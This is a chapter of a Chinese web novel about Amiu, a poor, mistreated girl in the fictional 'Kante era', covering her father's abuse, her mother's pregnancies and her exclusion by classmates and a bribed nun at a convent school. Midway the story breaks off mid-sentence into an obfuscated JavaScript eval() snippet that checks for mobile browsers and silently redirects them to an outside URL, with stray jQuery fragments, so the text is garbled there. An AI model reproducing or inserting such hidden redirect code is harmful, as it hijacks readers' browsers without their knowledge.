坎特纪元1700年
春风带不走儿时的忧愁，海面上探出太阳的一抹光辉，阿谬给自己搬了一个小板凳，走起路来歪歪扭扭，她选了个好位置在家门口坐着。
今天是阿谬的生日，她4岁了。
阿谬鼓着掌，嘴里含糊不清地说些什么，盯着面前的长椅，眯着眼睛，满是笑容。脸上两个小酒窝愈加明显。
不久阿谬母亲来了，女人挺着个大肚子，但笑意盈盈，母亲为阿谬端着一个干净的小碗。那小碗煮着白花花的蛋羹，上面像模像样地插着一根白色的蜡烛。
蜡烛上点着闪烁的火苗，阿谬见状把手拍得更欢了，急不可耐地往上扑，但勉强还是做好。晃着小腿。
母亲想要将碗放在长椅上，可是怀孕的肚子让她站着都吃力，更别提弯腰。
海风拂过阿谬的脚下，潮水也慢慢攀上脚趾，女人还是小心翼翼地弯着腰，额头上的汗划过下颌滴在金灿灿的浪花上。
小阿谬伸起两只手去接，母亲含笑点头，一松手。
阿谬接到了，但刚出炉的蛋羹就像刚铸好的铁，烫得阿谬挥舞着小手。
啪——
蛋羹带着碗落在地上，洒在缓流动的海浪上，母亲见状一愣。而阿谬反应最为迅速，她蹬掉坐着的椅子，举起双手，猛地坐在地上，急不可耐地扑向被摔烂的食物，湿漉漉地小手抓起碎裂的蛋羹就往嘴塞。
一口接着一口，混着海水和沙子的蛋羹似乎也不那么烫了……
明媚的阳光逐渐填满无边的海面，似乎还能瞥见海中若隐若现地鱼群。
而孩童的满足笑声飘荡在初阳的天空。
坎特纪元1702年
那个阿谬母亲又在修道院出现了，第三次。忙碌的修女将染红的指尖放进池中清洗，她看着床上的女人。
女人枯黄的头发贴在湿漉漉的额头上，双臂消瘦却结实，怀中抱着她第三个孩子，女人漆黑的双目有些迷茫和无助，她干裂的嘴唇一张一合，想要说着什么，可看到门口黑着脸的丈夫，最终还是把话咽下去，双臂微微晃动，无声唱着摇篮曲。
门口的男人握紧拳头，洗完手的修女不解地扫视他们一家，准备离开。
那个女人一共生了三个孩子，三个都是圣洁的母婴。
当修女踏出第一步，打开沉重的木门，门口的哭声逐渐清晰，一个孩童几乎是哭着跑进来。
起初，那个孩子是哭着，直到看见屋内站着的男人，阿谬的大哭转为啜泣，她小心翼翼地绕过父亲，再次快步向上冲向床上的母亲。
急促的脚步声过后，阿谬最终没有扑向母亲的怀里，而是怯生生地看着妈妈，抬起头已经是满脸泪水，阿谬摸着母亲凹陷黝黑的眼眶，指尖有节奏的起伏。阿谬甚至能感受到母亲在吃力地呼吸。
泪水再也控制不住地流了下来，阿谬不敢出声只能一遍一遍用手擦着眼泪。
看到阿谬难过担忧的模样，母亲觉得胸口被什么堵住，最终只是将怀中孩子抱着更加紧，腾不出收安抚阿谬。
母亲勉强笑了笑，说：阿谬，你又有妹妹了。
闻声，阿谬“噌”地一下伸出食指，扒开襁褓。襁褓中是一个被包裹的女婴，娇小柔弱。通红的皮肤薄如蝉翼，可以看见丝丝血管。
阿谬啊，瞪着眼睛，好奇地戳了戳妹妹的脸，沉睡的妹妹嘟起嘴巴，忽然嗷嗷大哭。
哇——哇——
婴儿的哭声刺耳强劲，几乎是要让路过的修女捂着耳朵离开，随之而来的是阿谬的笑声。
她笑了。
这个妹妹她会哭，比上一个妹妹可爱。
上一个妹妹，生下来的时候就被放在床上，那个小妹妹啊，皮肤是青紫色的，双目紧闭不愿醒来。而那时候，阿谬母亲不管她们，可怜的坐在床边，一遍一遍地握着修女的手，絮絮叨叨地说着什么。
那一天，趴在床边的阿谬只知道，不管怎么戳那小妹妹都没有声音，也不动……
空中淡淡的血腥味，让嗅觉敏感的阿谬有些作呕，她手指继续感受妹妹的温度。
一下接着一下，阿谬再次笑了，但下一秒嬉笑声戛然而止。
啪——
一道重重的耳光扇得阿谬满眼冒金星，不分南北的打转。随之而来的是男人的训斥声，他毫不留情地拎着阿谬的衣领，像提着小鸡仔一样，把她扔在墙根。
阿谬被这一举动吓得僵直身体，因为这是阿谬最熟悉的场景，每次“犯错”男人都会直接将她拎起摔在墙根，让她好好反思反思错误。
男人从不告诉阿谬那里有错，只让她自己想，可阿谬那小小的脑袋，怎么想也想不出问题。
现在也和以前一样，泪水再次在阿谬眼中打转，即将要落下时……
“不准哭！”
命中注定地吼叫，让阿谬抖了一下，她硬生生地把泪水憋回去，红着眼睛手指揪着衣角，站得笔直，不自觉地看向母亲，墙角那孩子轻飘飘的眼神透露着茫然和无助。
最终，母亲轻叹一声，低着头不再看阿谬，唱起阿谬最熟悉的摇篮曲，只不过这一次的摇篮曲是不属于阿谬的……
坎特纪元1702年9月，阿谬六岁了。
秋高气爽，风平浪静，阴郁的乌云厚厚的盖住过往的悲伤。
“阿谬，上学要听修女的话。”女人一手扶着肚子，一手摸着阿谬毛燥的头发，小阿谬则是眨着水灵灵的眼睛，伸手摸向妈妈的肚子，她不知道其中的意义，但她笑了。
阿谬眯起双眼，抱住妈妈的手臂晃啊晃啊——
今天是愉快的一天，阿谬很开心，她有了新衣服，这是妈妈的姐姐给的衣服，也就是阿谬大姨给的衣服，是大姨的女儿穿不下了给了阿谬。
当妈妈拿出包装好的衣服给阿谬换上时，也就意味着阿谬穿上“新衣服”。那一刻，小阿谬手舞足蹈的，开心了一上午。
女儿咯咯的笑声和幼稚的行为逗乐妈妈。
女人无奈地叹了一口气，费了好大劲蹲下身，与阿谬对视。
嬉笑的声音环绕在心头，女人觉得阿谬这副模样可爱极了，她想好好看看自己的孩子。
阿谬的头发毛毛躁躁的不像女人，更像是阿谬的父亲。只可惜，夏天一到阿谬头上长了虱子，男人大手一挥，抓住挣扎的阿谬，利落地剃光她的头发。
不过好在，现在阿谬的头发长了一些。
感受到母亲的目光，阿谬疑惑地摸了摸及耳的短发，再摸摸新长出来的发丝，拔下一根两根。
见状，女人失笑一声捧起阿谬的脸。她的孩子眼睛很漂亮，是少见的红色，在阳光下又像宝石一般，璀璨生辉。
女人曾听说过一句话，“眼睛是心灵的窗户”。阿谬虽然是脏了一点，穷了一点，但她相信她的孩子，一点也不比其他人差。
海的那边传来海鸥的叫声，不远处在安全区的屋檐下走过几个正要去修道院的孩童。时间快到了，母亲急忙给阿谬拉直毛衣，阿谬顺势低头看着掉线的毛衣，也伸出手抚平。
“快去吧，阿谬。妈妈身体不好，走不了多久。到时候你就跟她们手牵手，一起回来吧。”
阿谬点点头，一股脑地跑向远处叽叽喳喳的孩童们。
听到同伴的歌声，阿谬更加卖力地靠近他们，而他们见阿谬一来，歌也不唱了，直勾勾地盯着阿谬。
路上安静地只能听见踩草声，阿谬腼腆地笑着，小脸红扑扑的向安妮伸出了手，安妮是她唯一的朋友，安妮的妈妈年轻漂亮和阿谬妈妈以前是邻居。
但对面的安妮像是不认识一般，只是拉了拉身旁可茜的小手，低声在可茜耳旁小声嘀咕。
可茜听完，反复打量阿谬，捂着嘴巴偷笑。这让阿谬又摸不着头脑，她只能盯着自己手，觉得很干净，随后又换了一只手，再次试探性地看着她们。
“噗——”
一声难以掩盖的笑声，像精灵般快活地穿梭在林间，安妮立马拉着可茜笑嘻嘻地躲开，阿谬愣了愣保持伸手的姿势，生硬地转向后面的男孩。
男孩眼皮眨也不眨就躲开。
“阿谬！你要好好的！”
母亲的嘱咐再次从海岸响起，而这里的笑声却更大了，只可惜始终没人愿意接过阿谬的手。
要手牵手。
这是阿谬唯一的想法，是妈妈嘱咐的。她像是下定决心一定要牵到手，伸出手追着前方的伙伴，孩童们见阿谬这样，笑得合不拢嘴，纷纷躲避以此为乐。
泥泞的路上杂草丛生，阿谬想要追上她们，再次小跑上前。
这一次，阿谬刚迈出一步，只感觉眼前一黑，鼻孔还有泥土的芳香，手也磨破了，就连唯一能穿的毛衣也湿漉漉的……
抬头。却看到远去的众人，没有一个回头愿意和她说话，阿谬想回家，但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16265946|177733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她不敢。阿谬怕爸爸扇她巴掌。
前方的安妮和可茜牵着小手晃啊晃啊，她们的友谊坚不可摧，唱着小曲而后方的哭声没有丝毫扰乱她们的兴致，唱的更大声。
……
……
稀烂的泥巴围成墙，残缺的砖瓦搭建的小屋这是村里唯一一所修道院。
这所修道院是由一位中年修女创立的。那位修女站在门口迎接着孩童，修女软烂地靠在木门上叉着腰，抱着双臂，她身上的修女服光鲜亮丽，鼻梁上的金丝眼镜显得她一丝不苟，全身上下和这个小镇格格不入。
修女抬起手数了数，还差一个，她皱了皱眉有些烦闷，修女探起脑袋眺望篱笆外的小路。
很快，在远处看到一个衣装楚楚撑着伞的女人，女人穿着得体的长裙，还撑着一把像模像样的花伞。
修女点点头，推推眼镜，她知道她们是同类人。
女人慢条斯理地提起裙子，跨过水坑走向修道院，而可茜的脑袋从教室探出来，惊讶大喊：
安妮！那是你妈妈！
安妮立即挤过可茜，笑眯眯地捂住嘴。等安妮坐会位置，周围人看她的视线全都不一样，各个都是带着好奇和羡慕，安妮得意地抬了抬她的下巴。
“那是谁！”一个孩童的惊叫，夺取全班的注意。
那是阿谬，她到了修道院，她摔了一跤迷了路，走了好久才到。
随着探究的目光顺去，篱笆外的阿谬两只手揪在一起她浑身脏兮兮地，每当有人向她靠近她会不自觉地避开，怯生生地打量周围。
带着湿答答地滴水，阿谬来了。
阿谬的到来毫不留情地打断修女和安妮妈妈愉快的交谈。她们一个紧锁眉头推了推眼睛，一个打着伞似笑非笑地看着阿谬。
“阿谬啊，怎么衣服弄得这么脏？”安妮妈妈低头笑着问。
或许是这一问，阿谬在她身上感受到母亲的温暖，忍不住大哭起来，眼泪流得满脸都是。
阿谬越哭越起劲，从自己的换了“新衣服”到出来牵手，再到摔倒的事情一股脑地和她们倾诉。
一旁的修女扶着额头，深深地叹一口气，不停地跺脚，等待阿谬哭完。
勉强听完过程的安妮母亲，为阿谬深深地感到惋惜，她捂着嘴看向滑稽的阿谬，有些怜悯又觉得好笑，双眸挥之不去却带上笑意，她说：“我家安妮吶，可从不穿旧衣服呢。”
这句话说完，阿谬哭声也停了下来，疑惑地抬头。安妮妈妈看准时机，顺势塞给修女一个鼓鼓的锦囊，修女掂量掂量随即放在袖子里。
修女礼貌地和安妮妈妈点了点头，找准机会没有解释，随后看向阿谬，伸出一根手指抵在没有泥浆的后背，一下又一下，用力地把阿谬推进班级。
进了班级，修女又叹了一口气，她盯着自己刚刚戳过阿谬的手指，拿出纸巾仔仔细细地擦了一遍自己的指尖，扫视偷笑的学生们，安妮跟她们说了些小秘密，正明目张胆笑得正开心。
在窃窃私语中，修女主动和安妮对视一眼，她挤出一道笑容，挥手示意将安妮安置在第一桌，她顺带瞥了一眼阿谬，这个小孩很矮，连她大腿根都不到。
在看她脏兮兮的模样，她想也不想，丢出一句话。
“坐最后面去。”
阿谬很听话，因为她记得妈妈的嘱咐，点点头，拖着泥浆坐到最后一桌。
修女讲的经书断断续续，孩童们打着哈欠漫无目的地玩着手指。
阿谬静静地看着窗外的蓝天，通常这个时候阿谬会想未来的事情。
比如说，自己长大以后会不会更聪明一点。
可不可以买新衣服？
能不能给妈妈天天带好吃的？
或许，小阿谬想到可能会发生的“美好未来”，她笑了，对着一望无际的天空。
夕阳的余晖似乎照烫海面，浪花卷走朵朵云层，逐渐西沉，夜空中出现一轮明月。
圣洁的月光下，阿谬独自一人唱着歌，扒着路边的草，走在回家的路上。
影子被月光拉的又细又长——
谁能知晓这一段过往？
太阳的背面是月亮，而此时的月亮或许还有另一个名字——
神机·虚空之月。
虚空之月碧绿的双眸悄然注视一切，阿谬不是唯一一个，祂在看着所有生灵。
坎特纪元1702年9月